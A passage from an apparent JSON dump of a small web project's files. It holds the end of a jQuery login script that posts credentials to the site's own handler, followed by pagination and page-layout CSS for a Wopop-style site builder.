    if (data == \"0\" || data == \"1\") {\n                                window.location.href = \"http://home.wopop.com/UserHome/ot5lst/website.aspx\";\n\n                            } else {\n                                ot5alert(data, \"1\");\n\n                            }\n                        }\n                    }\n                });\n\n\n            }\n        } else if (typex == \"1\") {\n            ///// 手動 登錄\n            $.ajax({\n                type: \"POST\",\n                url: '/users/AjaxServer/Ajax_User_Loading.ashx',\n                data: { username: username, userpwd: userpwd, issavecookies: issavecookies, l_dot: l_dot, typex: 1 },\n                success: function (data) {///去更新cookies\n                    if (data == \"0\" || data == \"1\") {\n                        window.location.href = \"http://home.wopop.com/UserHome/ot5lst/website.aspx\";\n\n                    } else {\n                        ot5alert(data, \"1\");\n\n                    }\n                }\n            });\n        }\n    }\n\n\n});\n//Email 规则以后重新整理所有网站关于js 验证\nfunction Test_email(strEmail) { var myReg = /^[-a-z0-9\\._]+@([-a-z0-9\\-]+\\.)+[a-z0-9]{2,3}$/i; if (myReg.test(strEmail)) return true; return false; }\n"
  },
  {
    "path": "web_simplecms/simplecms/Wopop_files/pagination.css",
    "content": "div.megas512 {\n    height: 25px;\n    padding-top:12px;\n    margin: 5px;\n    padding-left: 7px;\n    text-indent: 0;\n    text-align:center;\n}\ndiv.megas512 a {\n\n}\ndiv.megas512 a:hover {\n\n}\n\n#Pagination .current {\n\tbackground: url(\"/pop/web/images/page.gif\") no-repeat scroll -88px 0 transparent;\n    color: #B5B3B3;\n    cursor: pointer;\n    display: inline-block !important;\n    height: 24px !important;\n    line-height: 24px;\n    margin-left: 3px;\n    position: relative;\n    text-align: center;\n    top: -8px;\n    width: 22px;\n    position: relative;\n    top: -16px;*top: -12px;\n}\n\n#Pagination .current:hover { background-position:-88px -24px; color:#fff;}\n#Pagination span.current{ background-position:-88px -24px; color:#fff;}\n#Pagination .disabled {\n           background: url(\"/pop/web/images/page.gif\") no-repeat -44px 0px scroll transparent;\n    color: #B5B3B3;\n    cursor: pointer;\n    display: inline-block !important;\n    height: 24px !important;\n    line-height: 24px;\n    margin-left: 3px;\n    position: relative;\n    text-align: center;\n    top: -8px;\n    width: 22px;}\n    \n    \n    \n     #Pagination .disabled:hover {background-position:-44px -24px;}\n     \n     #Pagination .classjason{background: url(\"/pop/web/images/page.gif\") no-repeat -66px 0px scroll transparent;\n    color: #B5B3B3;\n    cursor: pointer;\n    display: inline-block !important;\n    height: 24px !important;\n    line-height: 24px;\n    margin-left: 3px;\n    position: relative;\n    text-align: center;\n    top: -8px;\n    width: 22px;}\n    \n    #Pagination .classjason:hover{background-position:-66px -24px;}\n\n\n\n\n#Pagination_S .current {\n\tbackground: url(\"/pop/web/images/page.gif\") no-repeat scroll -88px 0 transparent;\n    color: #B5B3B3;\n    cursor: pointer;\n    display: inline-block !important;\n    height: 24px !important;\n    line-height: 24px;\n    margin-left: 3px;\n    position: relative;\n    text-align: center;\n    top: -8px;\n    width: 22px;\n    position: relative;\n    top: -16px;*top: -12px;\n}\n\n#Pagination_S .current:hover { background-position:-88px -24px; color:#fff;}\n#Pagination_S span.current{ background-position:-88px -24px; color:#fff;}\n#Pagination_S .disabled {\n           background: url(\"/pop/web/images/page.gif\") no-repeat -44px 0px scroll transparent;\n    color: #B5B3B3;\n    cursor: pointer;\n    display: inline-block !important;\n    height: 24px !important;\n    line-height: 24px;\n    margin-left: 3px;\n    position: relative;\n    text-align: center;\n    top: -8px;\n    width: 22px;}\n    \n    \n    \n     #Pagination_S .disabled:hover {background-position:-44px -24px;}\n     \n     #Pagination_S .classjason{background: url(\"/pop/web/images/page.gif\") no-repeat -66px 0px scroll transparent;\n    color: #B5B3B3;\n    cursor: pointer;\n    display: inline-block !important;\n    height: 24px !important;\n    line-height: 24px;\n    margin-left: 3px;\n    position: relative;\n    text-align: center;\n    top: -8px;\n    width: 22px;}\n    \n    #Pagination_S .classjason:hover{background-position:-66px -24px;}\n   /* #Pagination_S{ margin-top:20px;}*/\n    \n    \n    \n    \n    \n    \n    \n    \n\n    \n    #dmepagination .current {\n\tbackground: url(\"/pop/web/images/page.gif\") no-repeat scroll -88px 0 transparent;\n    color: #B5B3B3;\n    cursor: pointer;\n    display: inline-block !important;\n    height: 24px !important;\n    line-height: 24px;\n    margin-left: 3px;\n    position: relative;\n    text-align: center;\n    top: -8px;\n    width: 22px;\n    position: relative;\n    top: -16px;*top: -12px;\n}\n\n#dmepagination .current:hover { background-position:-88px -24px; color:#fff;}\n#dmepagination span.current{ background-position:-88px -24px; color:#fff;}\n#dmepagination .disabled {\n           background: url(\"/pop/web/images/page.gif\") no-repeat -44px 0px scroll transparent;\n    color: #B5B3B3;\n    cursor: pointer;\n    display: inline-block !important;\n    height: 24px !important;\n    line-height: 24px;\n    margin-left: 3px;\n    position: relative;\n    text-align: center;\n    top: -8px;\n    width: 22px;}\n    \n    \n    \n     #dmepagination .disabled:hover {background-position:-44px -24px;}\n     \n     #dmepagination .classjason{background: url(\"/pop/web/images/page.gif\") no-repeat -66px 0px scroll transparent;\n    color: #B5B3B3;\n    cursor: pointer;\n    display: inline-block !important;\n    height: 24px !important;\n    line-height: 24px;\n    margin-left: 3px;\n    position: relative;\n    text-align: center;\n    top: -8px;\n    width: 22px;}\n    \n    #dmepagination .classjason:hover{background-position:-66px -24px;}\n    /*#dmepagination{ margin-top:20px;}*/\n    \n    \n    #Pagination_T .current {\n\tbackground: url(\"/pop/web/images/page.gif\") no-repeat scroll -88px 0 transparent;\n    color: #B5B3B3;\n    cursor: pointer;\n    display: inline-block !important;\n    height: 24px !important;\n    line-height: 24px;\n    margin-left: 3px;\n    position: relative;\n    text-align: center;\n    top: -8px;\n    width: 22px;\n    position: relative;\n    top: -16px;*top: -12px;\n}\n\n#Pagination_T .current:hover { background-position:-88px -24px; color:#fff;}\n#Pagination_T span.current{ background-position:-88px -24px; color:#fff;}\n#Pagination_T .disabled {\n           background: url(\"/pop/web/images/page.gif\") no-repeat -44px 0px scroll transparent;\n    color: #B5B3B3;\n    cursor: pointer;\n    display: inline-block !important;\n    height: 24px !important;\n    line-height: 24px;\n    margin-left: 3px;\n    position: relative;\n    text-align: center;\n    top: -8px;\n    width: 22px;}\n    \n    \n    \n     #Pagination_T .disabled:hover {background-position:-44px -24px;}\n     \n     #Pagination_T .classjason{background: url(\"/pop/web/images/page.gif\") no-repeat -66px 0px scroll transparent;\n    color: #B5B3B3;\n    cursor: pointer;\n    display: inline-block !important;\n    height: 24px !important;\n    line-height: 24px;\n    margin-left: 3px;\n    position: relative;\n    text-align: center;\n    top: -8px;\n    width: 22px;}\n    \n    #Pagination_T .classjason:hover{background-position:-66px -24px;}\n\n"
  },
  {
    "path": "web_simplecms/simplecms/Wopop_files/style.css",
    "content": "@charset \"utf-8\";\n/* CSS Document */\n\nbody { margin:0; background:#e7e7e7; color:#797979; }\nh1, h2, h3, h4, h5, h6 { font-family: \"microsoft yahei\", Arial, Helvetica, sans-serif; font-size:18px; font-weight:normal; margin:0; padding:0; }\nol, ul, li, div, p, dl, dt, dd { list-style:none; padding:0; text-justify:inter-ideograph; font-size:12px; font-family:Arial, Helvetica, sans-serif;\n\tmargin:0px;\n}\na, img, table, td, tr { border:none; }\n.clear { clear:both; }\n/* a { color:#ff3800 ;text-decoration:none}*/\na { color:#2D2D2D ;text-decoration:none}\na:hover { text-decoration:none }\ninput, select, textarea { font-family:Arial, Helvetica, sans-serif; padding:1px;}\na { blr:expression(this.onFocus=this.blur())\n} /*for IE*/\na { outline:none; } /*for Firefox*/\n/* 头部 */\n#header { margin:0 auto; width:992px; z-index:2; position:relative;}\n#logo_zh { background:url(../images/Logo_zh.gif) no-repeat center center; width:310px; height:100px; float:left; cursor:pointer; }\n#logo_en { background:url(../images/Logo_en.gif) no-repeat center center; width:310px; height:100px; float:left; cursor:pointer; }\n#logo { background:url(../images/Logo.gif) no-repeat center center; width:310px; height:100px; float:left; cursor:pointer; }\n#login {float: right;}\n\n#language { margin: 30px 0 0 -460px; color:#000; position:absolute;}\n#language img,.language img{ vertical-align:middle; margin: 0 3px 2px 0 ;}\n.copyrights{text-indent:-9999px;height:0;line-height:0;font-size:0;overflow:hidden;}\n.language:hover{ color:#333;}\n#log { float:left; }\n#log input { background:#fff; border:solid 1px #d4d4d4; width:88px; height:17px; vertical-align: middle; }\n.sub_login { width:69px; text-align:center; height:22px; line-height:22px; color:#fff !important; text-decoration:none; font-weight:bold; margin-left:20px; background:url(../images/bg.gif) no-repeat; border:none; margin-right:0px !important; }\n#forget { padding-top:20px; color:#c4c4c4; text-align:right; }\n#forget input { vertical-align: middle; margin-right:10px; }\n#forget a { color:#797979; text-decoration:none; }\n\n.s_money{ border:1px solid #ccc; margin-left:5px;}\n/*#content{background:#fff url(../images/content_bg.gif) repeat-x; height:500px; width:980px; margin:0 auto; border:1px solid #fff; -moz-box-shadow:1px 1px 5px #ccc;-webkit-box-shadow:1px 1px 5px #ccc;box-shadow:1px 1px 5px #ccc;}*/\n\n/* 主体 */\n#content { background:url(../images/content_bg1.gif) repeat-y; width:992px; margin:0 auto; overflow:hidden; z-index:1; }\n#content1{background: url(../images/content_bg2.gif) repeat-x scroll 0 0 transparent; margin: 0 7px;overflow: hidden;padding-bottom: 8px;}\n#top { background:url(../images/top_bg.gif) no-repeat; }\n#menu { padding:14px 0 50px 14px; }\n#nav1 { width:558px; overflow:hidden; float:left; }\n#nav { text-align:left; background:url(../images/nav_bg.gif) repeat-x; border-left:solid 1px #167cb7; border-top:solid 1px #157ab3; height:46px; width:578px; overflow:hidden; }\n#nav ul li { float:left; background:url(../images/nav_li_bg.gif) no-repeat right; }\n#nav ul li a { font-family:\"microsoft yahei\", Arial, Helvetica, sans-serif; font-size:14px; color:#fff; text-decoration:none; padding:0 17px; line-height:45px; display:block; margin-top:-1px; height:46px;}\n#nav ul li a[id='zh'] { font-family:\"microsoft yahei\", Arial, Helvetica, sans-serif; font-size:14px; color:#fff; text-decoration:none; padding:0 17px; line-height:45px; display:block; margin-top:-1px; height:46px;}\n#nav ul li a[id='en'] { font-family:\"microsoft yahei\", Arial, Helvetica, sans-serif; font-size:14px; color:#fff; text-decoration:none; padding-left:15px;padding-right:18px; line-height:45px; display:block; margin-top:-1px; height:46px;}\n\n#nav ul li:hover { background:#08578e; }\n.quick_web { float:left; margin-left:10px; background:url(../images/quick_sub.jpg) no-repeat 0 -0px; width:194px; height:49px; }\n.quick_web:hover { background:url(../images/quick_sub.jpg) no-repeat 0 -49px; }\n.quick_web_zh { float:left; margin-left:10px; background:url(../images/quick_sub_zh.jpg) no-repeat 0 -0px; width:194px; height:49px; }\n.quick_web_zh:hover { background:url(../images/quick_sub_zh.jpg) no-repeat 0 -49px; }\n.quick_web_en { float:left; margin-left:10px; background:url(../images/quick_sub_en.jpg) no-repeat 0 -0px; width:194px; height:49px; }\n.quick_web_en:hover { background:url(../images/quick_sub_en.jpg) no-repeat 0 -49px; }\n.quick_shop { float:left; margin-left:8px; background:url(../images/quick_sub.jpg) no-repeat -200px 0px; width:194px; height:49px; }\n.quick_shop:hover { background:url(../images/quick_sub.jpg) no-repeat -200px -49px; }\n.quick_shop_zh { float:left; margin-left:8px; background:url(../images/quick_sub_zh.jpg) no-repeat -200px 0px; width:194px; height:49px; }\n.quick_shop_zh:hover { background:url(../images/quick_sub_zh.jpg) no-repeat -200px -49px; }\n.quick_shop_en { float:left; margin-left:8px; background:url(../images/quick_sub_en.jpg) no-repeat -200px 0px; width:194px; height:49px; }\n.quick_shop_en:hover { background:url(../images/quick_sub_en.jpg) no-repeat -200px -49px; }\n/* BANNER */\t\n\t#js { pwidth:100%; overflow:hidden; background:url(../images/content_bg1.gif) repeat-y center top; _background:url(../images/content_bg6.gif) repeat-y center top; }\n#op { width:992px; margin:0 auto; }\n/*#c01 { text-align:center; background:url(../images/banner_web.jpg) no-repeat center center; height:247px; z-index:100px; display:block; }\n#c02 { text-align:center; background:url(../images/banner_shop.jpg) no-repeat center center; height:247px; z-index:100px; }*/\n.web { background:url(../images/bg.gif) no-repeat 0 -151px; height:188px; width:418px; padding:8px 20px; float:left; margin-left:29px; _display:inline; }\n.web h1 { color:#445e84; font-size:20px; height:60px; line-height:40px; background:url(../images/icon.gif) no-repeat 0 -70px; text-indent:40px; }\n.web h2 { color:#696969; font-size:14px; line-height:30px; padding-bottom:5px; }\n.sub_web { background:url(../images/sub_bg.jpg) no-repeat -0px 0px; width:185px; height:60px; display:block; display:block; position:relative; left:-3px;}\n.sub_web:hover { background:url(../images/sub_bg.jpg) no-repeat -0px -60px; }\n.sub_web_zh { background:url(../images/sub_bg_zh.jpg) no-repeat -0px 0px; width:185px; height:60px; display:block; display:block; position:relative; left:-3px;}\n.sub_web_zh:hover { background:url(../images/sub_bg_zh.jpg) no-repeat -0px -60px; }\n.sub_web_en { background:url(../images/sub_bg_en.jpg) no-repeat -0px 0px; width:185px; height:60px; display:block; display:block; position:relative; left:-3px;}\n.sub_web_en:hover { background:url(../images/sub_bg_en.jpg) no-repeat -0px -60px; }\n.shop { background:url(../images/bg.gif) no-repeat 0 -365px; height:188px; width:418px; padding:8px 20px; float:left; margin-left:18px; }\n.shop h1 { color:#445e84; font-size:20px; height:60px; line-height:40px; background:url(../images/icon.gif) no-repeat 0 -120px; text-indent:40px; }\n.shop h2 { color:#696969; font-size:14px; line-height:30px; padding-bottom:5px; }\n.sub_shop { background:url(../images/sub_bg.jpg) no-repeat -190px -0px; width:185px; height:60px; display:block; position:relative; left:-3px;}\n.sub_shop:hover { background:url(../images/sub_bg.jpg) no-repeat -190px -60px; }\n.sub_shop_zh { background:url(../images/sub_bg_zh.jpg) no-repeat -190px -0px; width:185px; height:60px; display:block; position:relative; left:-3px;}\n.sub_shop_zh:hover { background:url(../images/sub_bg_zh.jpg) no-repeat -190px -60px; }\n.sub_shop_en { background:url(../images/sub_bg_en.jpg) no-repeat -190px -0px; width:185px; height:60px; display:block; position:relative; left:-3px;}\n.sub_shop_en:hover { background:url(../images/sub_bg_en.jpg) no-repeat -190px -60px; }\n.hidden { display:none; }\n/* 服务 */\n#server { padding:45px 0 20px 0; margin:0 30px; overflow:hidden; width:1100px;}\n#server_l{ background:url(../images/server_l.gif) no-repeat;}\n#server_l dl{padding-left:130px; height:67px; margin-bottom:20px;}\n#server_l dt{ color:#445e84; font-size:18px;font-family:\"microsoft yahei\"; line-height:18px; padding-bottom:15px;}\n#server_l dd{ line-height:20px;}\n#server_r,#server_l{ float:left; width:450px; overflow:hidden;}\n#server_r{ padding-left:30px;}\n#server h1 { font-size:18px; color:#445e84;  border-bottom: solid 1px #ededed; line-height:18px; padding-bottom:22px; text-indent:15px;}\n#server_con { padding-left:3px;}\n#server_con ul { width:600px; overflow:hidden; padding-top:10px;}\n#server_con li { font-size:14px; color:#646464; background:url(../images/icon.gif) no-repeat 0 13px; line-height:41px; float:left; text-indent:25px; width:242px; }\n#server_con .ts { font-size:14px; font-weight:bold; color:#5a6472; background:url(../images/icon.gif) no-repeat 1px -25px; text-indent:25px; line-height:40px; }\n/* 底部 */\t\t\n\t#footer { width:972px; margin:0 auto; line-height:24px; background:url(../images/footer_bg.gif) no-repeat center top; padding:5px 10px; }\n#footer span { }\n#footer span a { }\n/* 选择模板 */\t\n\n\t#temp_more { height:602px; border:solid 1px #fff; margin:0 auto; background:#fff; }\n#temp_more .top { background:url(../images/more_h1.gif) repeat-x; height:65px; }\n#temp_more .close { background:url(../images/temp_more_bg.gif) no-repeat 0px -70px; display:block; float:right; height:28px; width:28px; position:relative; margin:-47px 15px 0px 0px; }\n#temp_more p { font-size:20px; color:#626262; line-height:65px; background:url(../images/temp_more_bg.gif) no-repeat 15px 10px; text-indent:65px; font-family: \"microsoft yahei\"; }\n#temp_more .tem { padding:0px 20px; }\n#temp_more .tem li { display: inline; float: left; margin: 30px 17px 0 17px; }\n#temp_more .tem li span { background: url(../images/temp_more_bg.gif) no-repeat scroll 0 -128px transparent; color: #FFFFFF; display: block; height: 27px; line-height: 23px; text-align: center; width: 145px; }\n#temp_more .tem li span a { color:#fff; text-decoration:none; }\n#temp_more .page { text-align:center; margin-top:40px; }\n#temp_more .page a { text-decoration:none; color:#626262; padding:5px 10px; }\n#temp_more .page a:hover { background:#34baff; color:#fff; }\n#ibanner { height:450px; }\nul#output li { position: absolute; height: 240px; z-index:1;}\n.bg_btn_con{border-top: 1px solid #DCDCDC;margin: 0 auto;padding: 20px;text-align: center;width: 912px;}\n.bg_btn { background: url(\"../images/btn_bng.gif\") repeat-x scroll 0 0 transparent; border: medium none; color: #FFFFFF; cursor: pointer; height: 24px; line-height: 22px; text-align: center; width: 108px; }\n.bg_btn_new { background: url(\"../images/btn_bng.gif\") repeat-x scroll 0 0 transparent; border: medium none; color: #FFFFFF; cursor: pointer; height: 24px; line-height: 22px; text-align: center; width: 108px; padding:5px 10px; margin-right:5px;}\n#button2, #button4 { margin-left: 32px; }\n#tinybox { position:absolute; display:none; background:#ffffff url(../images/preload.gif) no-repeat 50% 50%; border:10px solid #e3e3e3; z-index:2000; }\n#tinymask { position:absolute; display:none; top:0; left:0; height:100%; width:100%; background:#000000; z-index:1500; }\n#tinycontent { background:#ffffff; font-size:1.1em; }\n\n.p_info_error { padding:10px; height:200px; background:url(../images/error.png) no-repeat 50px 70px;  font-family:microsoft yahei; font-size:16px; padding:100px 0 0 200px; line-height:40px;}\n.p_info_right { height:150px; background:url(../images/right.png) no-repeat 50px 70px;  font-family:microsoft yahei; font-size:16px; padding:100px 0 0 200px; line-height:40px;}\n\n\n\n/*-----Demo Styles IMPORTANT - YOU CAN REMOVE THE FOLLOWING STYLES WHEN USING IN YOUR PROJECTS -----*/\n\n\n\n/*-----Position and hide the dropdown-----*/\n\n.drop { display:none;  z-index:10000000; -webkit-box-shadow: 0 2px 4px 0 rgba(0, 0, 0, .4); -moz-box-shadow:  0 2px 4px 0 rgba(0, 0, 0, .4); box-shadow: 0 2px 4px 0 rgba(0, 0, 0, .4); background:#f4f4f4;left: 60px; position:absolute; top: 36px; width:324px; z-index:1000;*left:63px;*top: 38px; }\n/*-----Dropdown form element-----*/\n\n#loform { border:solid 1px #fff; width:340px;background: #f4f4f4; clear:both; -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, .2); -moz-box-shadow: 0 1px 2px rgba(0, 0, 0, .2); box-shadow: 0 1px 2px rgba(0, 0, 0, .2); margin-top:6px; }\n.required{ background:url(../images/input_bgnew.gif) no-repeat; border:solid 1px #d7d7d7; padding:5px 0px; width:210px; *width:200px;}\n.drop P{ line-height:40px;}\n.remember{padding:0px 0 0 56px; line-height:40px;}\n.remember input{vertical-align: middle; }\n.log_bottom{background:url(../images/login_bottom.gif) no-repeat; height:50px; line-height:50px;}\n.log_bottom a{ width:160px; display:block; float:left; text-align:center; text-decoration:none; color:#666; text-indent:30px;}\n.log_bottom a:hover{ color:#999;}\n/*-----Signin link-----*/\n#login1{ margin:-1px 0 0 140px;}\n.signin {background:url(../images/login_sub.gif) no-repeat; width:69px; height:22px; color:#fff;  text-decoration:none; display:inline-block;text-align:center; line-height:22px;}\n/*-----Signin clicked state-----*/\n\n.signinclick {  background:#f4f4f4; width:69px; height:22px; color:#FF3800;  text-decoration:none; display:inline-block;text-align:center; line-height:22px; box-shadow: 0 2px 4px 0 rgba(0, 0, 0, .4);}\n/*-----Submit Button-----*/\n\n.subin1 {background:url(../images/login_sub.gif); border:none; color:#fff; width:69px; height:22px; margin:10px 0 0 203px; cursor:pointer; }\n.regbtn {background:url(../images/reg_button.gif) no-repeat; width:69px; height:22px; color:#fff; text-decoration:none; display:inline-block; text-align:center; line-height:22px; margin-left:5px;}\n\n/*-----Inputs-----\n#login_jasons{ height:100px;}\n.language_s{left: 650px;\n    position: relative;\n    top: -74px;\n    width:100px;}\n\n.ch{ font-size:12px; width:120px; display:inline-block; padding:10px 0 0 10px; line-height:30px;cursor:pointer;}\n.ch_hover{ background:url(/images/languagetop.png) no-repeat; color:#fff; display: inline-block;cursor:pointer;}\n.select_langhover{ background:url(/images/languagebtm.png) bottom; color:#fff;}\n.select_lang{display:none; width:114px; padding:0 0 10px 10px;}\n.select_lang li{ line-height:30px;cursor:pointer;}\n.select_lang li:hover{ color:#ccc; cursor:pointer;}\n.language_s img{ padding-right:5px; position:relative; top:1px;}\n.l_jt{ position:relative; right:-10px; top:-1px !important;}\n\n\n#longed_jason{float: right;margin: 40px 0 0 558px;position: absolute;width: 431px;}\n\n.language_s_jason{left: 454px;position: relative;top: -72px;width: 100px;}\n\n.language_s_jason img{ padding-right:5px; position:relative; top:1px;}\n\n#tw,#en,#zh{cursor: pointer;display: inline-block;font-size: 12px;line-height: 30px;padding: 10px 0 0 10px; }\n.ullogines li{padding :10px 0 0 20px !important;}\n.ul_jason li{padding :10px 0 0 20px !important;}\n*/\n.cnzz a{ color:#e7e7e7} \n.qipaoclass{ background: url(\"../userhome/ot5lst/images/bo.png\") no-repeat scroll 0 0 transparent;\n\theight:80px;\n    color: Black;\n    font-family: Tahoma;\n    font-size: 12px;    \n    padding: 0 19px;\n    position:absolute;\n    display: inline-block;\n    padding-bottom:10px;\n    margin:30px 0px 0px -10px;\n\tmargin:30px 0px 0px -10px \\9\\0;\n\tmargin:30px 0px 0px -390px \\9;\n    }\n    \n\t@-moz-document url-prefix()\n\t{.qipaoclass { margin:30px 0px 0px -390px }}\n\n    .qipaoclass p { line-height: 24px;\n    margin-top: 16px;}\n    .tst{ float:left; height:33px;}\n"
  },
  {
    "path": "web_simplecms/simplecms/Wopop_files/style_log.css",
    "content": "@charset \"utf-8\";\n/*------------// Overall //------------------*/\nbody{font:12px/180% Arial,Helvetica,Verdana;color:#5a5a5a; margin:0; background:#FFF;}\nbody.login{ background:url(login_bgx.gif);}\ntable,td{font:12px/180% Arial, \"宋体\",Helvetica, sans-serif,Verdana; color:#58595b;}\ntable{border-collapse:collapse; border-spacing:0; empty-cells:show; }\nth, td { border-collapse:collapse; }\nA:link{text-decoration:none; color:#58595b;}\nA:visited{text-decoration:none; color:#58595b;}\nA:hover{text-decoration:none; color:#206fd5;}\nimg{ border:0; }\ndiv,p,img,ul,li,form,input,label,span,dl,dt,dd,h1,h2,h3,h4,h5,h6{margin:0;padding:0;}\ninput[type=\"reset\"]::-moz-focus-inner, input[type=\"button\"]::-moz-focus-inner, input[type=\"submit\"]::-moz-focus-inner, input[type=\"file\"] > input[type=\"button\"]::-moz-focus-inner{   border:none;padding:0 } \nol,ul,li{list-style-type:none;}\n.overz{ overflow:auto; zoom:1; overflow-x:hidden; overflow-y:hidden;}\n.dspn{ display:none;}\na{blr:expression(this.onFocus=this.blur())} /*for IE*/\na{outline:none;} /*for Firefox*/\nhtml{-webkit-text-size-adjust:none;}\n/*------------// layout //------------------*/\n#box{ width:100%; margin:0 auto;}\n.top_bg{ background:url(../images/main_bg.jpg) no-repeat center top; height:634px;}\n.top{ width:1000px; margin:0 auto;}\n.header{ padding-top:22px; height:46px;}\n#logo{ float:left;}\n#nav{ float:right; margin-right:24px; padding-top:12px;}\n#nav ul li{ float:left; width:55px; height:20px; margin-right:8px; line-height:20px; text-align:center; font-size:13px;}\n#nav ul li a{ display:block; color:#656565;  height:20px;}\n#nav ul li a:hover{ background:url(../images/site_bg.png) no-repeat; color:#FFF;}\n#nav ul li.local a{background:url(../images/site_bg.png) no-repeat; color:#FFF; }\n.top_bg_c{ background:url(../images/top_bg.gif);}\n.main_area{ margin-top:45px;}\n.index_left{ width:520px; float:left; }\n.index_right{ width:412px; float:right; margin-right:26px; padding-top:23px;}\n.free_website_font{ padding-top:7px;}\n.free_website_font .title{ margin-bottom:12px;}\n.free_website_font .intro{ font-family:Tahoma; width:300px; margin-left:124px; line-height:24px; margin-bottom:20px;}\n.site_link{ padding-left:120px;}\n.site_link a{ display:block; }\n.site_link a.star_now{ background:url(../images/site_bg.png) no-repeat 0 -20px; height:92px; width:296px; margin-bottom:17px;}\n.site_link a.star_now:hover{ background-position:0 -112px; }\n.site_link a.templates{ background:url(../images/site_bg.png) no-repeat 0 -205px; height:88px; width:296px; margin-bottom:24px;}\n.site_link a.templates:hover{ background-position:0 -294px; }\n.system_description{ padding-left:124px; font-size:11px;}\n.system_description .sys_des_left{ float:left; }\n.system_description .sys_des_right{ float:right; text-align:right;}\n.system_description p{ margin-bottom:5px;}\n.main_web{ padding:27px 26px 0 26px; width:1000px; margin:0 auto;}\n.template_list_left{ float:left; width:842px; padding-left:5px;}\n.template_list_category{ float:right; width:115px;}\n.color_bar{ font-size:12px; height:20px; line-height:20px; margin-bottom:24px;}\n.color_bar h2{ float:left; font-size:12px; margin-right:5px;}\n.color_bar .color_link{ float:left;}\n.color_bar a{ display:inline-block; width:44px; float:left; text-align:center; margin-right:5px;}\n.color_bar a:hover{ background:url(../images/site_bg.png) no-repeat -55px 0; color:#FFF;}\n.color_bahover{background:url(../images/site_bg.png) no-repeat -55px 0; color:#FFF;}\n.template_list_element{ width:155px; height:155px; float:left; margin-right:55px; margin-bottom:26px;}\n.template_list_element a{ display:block;  background:url(../images/site_bg.png) no-repeat 0 -541px; padding:5px;}\n.template_list_element a:hover{ background-position:0 -386px;}\n.template_list_category{ text-align:right;}\n.template_list_category h2{ color:#FFF; font-size:12px; background: url(../images/site_bg.png) no-repeat -155px -386px; height:26px; line-height:26px; padding-right:10px; margin-bottom:5px;}\n.template_list_category ul li{ height:26px; line-height:26px; }\n.template_list_category ul li a,.template_list_category ul li a:visited{ color:#7f7f7f;}\n.template_list_category ul li a:hover{color:#206fd5;background:url(../images/site_bg.png) no-repeat -155px -665px; }\n.template_list_category ul li a{ width:auto;display:block; height:26px; padding-right:3px;}\n.template_list_category ul li.local a{background: url(../images/site_bg.png) no-repeat -155px -386px; height:26px; line-height:26px; color:#FFF;}\n.template_list_category ul li.local a:visited{color:#FFF;}\n.page_s{ text-align:center; clear:both; height:19px; margin-bottom:40px; margin-right:45px;}\n.page_s a{ display:inline-block; background:url(../images/site_bg.png) no-repeat -118px 0; width:19px; height:19px; }\n.page_s a.local{background:url(../images/site_bg.png) no-repeat -99px 0;}\n.footer{ clear:both; height:150px;}\n.f_left{ float:left; font-size:10px;}\n.f_left .copyright{ text-transform:uppercase; margin-bottom:3px;}\n.language_bar,.follow_icon,.facebook_icon{ float:left;}\n.follow_icon,.facebook_icon{ padding-top:2px;}\n.follow_icon{ margin-right:8px;}\n.follow_icon a{ display:block; width:60px; height:20px; background:url(../images/site_bg.png) no-repeat -155px -461px; }\n.facebook_icon a{ display:block; width:81px; height:20px; background:url(../images/site_bg.png) no-repeat -155px -441px; }\n.language_bar{ width:80px; margin-right:5px;}\n.f_link_language a.login-in{  background: url(\"../images/site_bg.png\") no-repeat scroll -168px 0 transparent; display: block; float: left; height: 19px;line-height: 18px; margin-right: 5px;margin-top: 2px;text-indent: 18px;width: 63px;}\n.f_link_language a.login-in,.f_link_language a.login-in:visited{ color:#FFFFFF;}\n.f_link_language a.login-in:hover{ color:#FFF; background-position:-231px 0;}\n.lang_bar_m{ background:url(../images/site_bg.png) no-repeat -156px -413px; width:80px; height:27px; z-index:100; position:absolute; overflow:hidden;}\n.lang_bar_m div{ width:57px; text-align:center; float:left; margin-left:4px; }\n.lang_bar_m a{ display:block; width:15px; height:19px; margin:2px 4px 0 0; _margin:0; margin-top:2px; overflow:hidden; float:right; background:url(../images/site_bg.png) no-repeat -151px 0;}\n.lang_drop_down{ position:relative; height:107px;}\n.lang_d_d_hidden{ background:url(../images/second_language.png) no-repeat; height:82px; margin-top:0px; padding-top:25px; }\n.lang_drop_down a{ display:block; text-align:center; width:70px; margin:0 auto; height:20px; line-height:20px; margin-bottom:5px; font-size:12px; overflow:hidden;}\n.lang_drop_down a:hover{ background:#68a1ea; color:#FFF;}\n\n\n.f_right{ float:right; text-align:right; font-size:10px; text-transform:uppercase; color:#afafaf;}\n/*------------// About //------------------*/\n#about_content{  background:url(../images/about_bg.png) right top no-repeat; }\n.about_top h2{ margin-bottom:10px;}\n.about_top_intro{ width:608px; font-size:15px; line-height:170%; text-align:justify;text-justify:inter-ideograph; margin-bottom:32px;}\n.about_top h3{ margin-bottom:46px;}\n.about_c{ text-align:justify;text-justify:inter-ideograph;}\n#contact_content{}\n#contact_content h2{  margin-bottom:32px;}\n.contact_left{ float:left; width:326px; padding-top:20px;}\n.contact_right{ float:right; width:448px;}\n.contact_font{ font-size:13px; line-height:200%; margin-bottom:30px;}\n.contact_font span{ color:#2f7ad9;}\n.contact_icon a{ display: inline-block; width:45px; height:45px; margin-right:15px;}\n.contact_icon a.fackbook{ background:url(../images/site_bg.png) no-repeat -155px -481px; }\n.contact_icon a.fackbook:hover{ background:url(../images/site_bg.png) no-repeat -200px -481px; }\n.contact_icon a.twitter{ background:url(../images/site_bg.png) no-repeat -155px -526px; }\n.contact_icon a.twitter:hover{ background:url(../images/site_bg.png) no-repeat -200px -526px; }\n.contact_icon a.google{ background:url(../images/site_bg.png) no-repeat -155px -571px; }\n.contact_icon a.google:hover{ background:url(../images/site_bg.png) no-repeat -200px -571px; }\n.contact_icon a.mail{ background:url(../images/site_bg.png) no-repeat -155px -616px; }\n.contact_icon a.mail:hover{ background:url(../images/site_bg.png) no-repeat -200px -616px; }\n.contact_right h4{ font-size:13px; font-weight:normal; margin-bottom:5px; }\n.contact_right input.txt_input{ border:1px solid #bbb; background:url(../images/site_bg.png) 0 -696px repeat-x; height:32px; margin-bottom:5px; width:359px; line-height:32px; padding:0 5px; -moz-border-radius:5px; -webkit-border-radius:5px; border-radius:5px;  }\n.contact_right input.txt_input:focus{ transition:border linear .2s,box-shadow linear .2s; -moz-transition:border linear .2s,-moz-box-shadow linear .2s; -webkit-transition:border linear .2s,-webkit-box-shadow linear .2s; outline:none;border-color:rgba(173,173,173.75); box-shadow:0 0 8px 